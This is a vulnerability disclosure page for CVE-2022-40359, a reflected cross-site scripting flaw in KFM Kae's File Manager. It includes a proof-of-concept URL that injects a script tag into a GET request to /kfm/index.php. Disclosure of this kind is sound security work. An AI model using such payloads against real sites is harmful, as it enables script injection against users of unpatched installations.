KFM Kae's File Manager - ALL - Reflected Cross-Site Scripting (XSS)

2022.09.22

🇦🇺 **Scott Sturrock (https://cxsecurity.com/author/Scott+Sturrock/1/) (AU)** 🇦🇺

Risk: Low

Local: **No**

Remote: **Yes**

CVE: **CVE-2022-40359** (https://cxsecurity.com/cveshow/CVE-2022-40359/)

CWE: **N/A**

```
# Exploit Title: KFM Kae's File Manager - ALL - Reflected Cross-Site Scripting (XSS)
# Exploit Author: Scott Sturrock 'ssturrock -at- protonmail -dot- com'
# Vendor Homepage: https://code.google.com/archive/p/kfm/downloads
# Software Link: https://code.google.com/archive/p/kfm/downloads
# Version: ALL
# Tested on: Linux, Windows
# CVE : CVE-2022-40359
```

```
Cross site scripting (XSS) vulnerability in kfm through 1.4.7 via c
rafted GET request to /kfm/index.php.


Visit PoC URL in browser
https://{URL}/kfm/index.php/'%3CSCRIPT%3Ealert('XSS');%3C/SCRIPT%3E
```

References:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40359

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2022090057)

Tweet	Lubię to!

Vote for this issue: 👍 1 👎 0

100%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)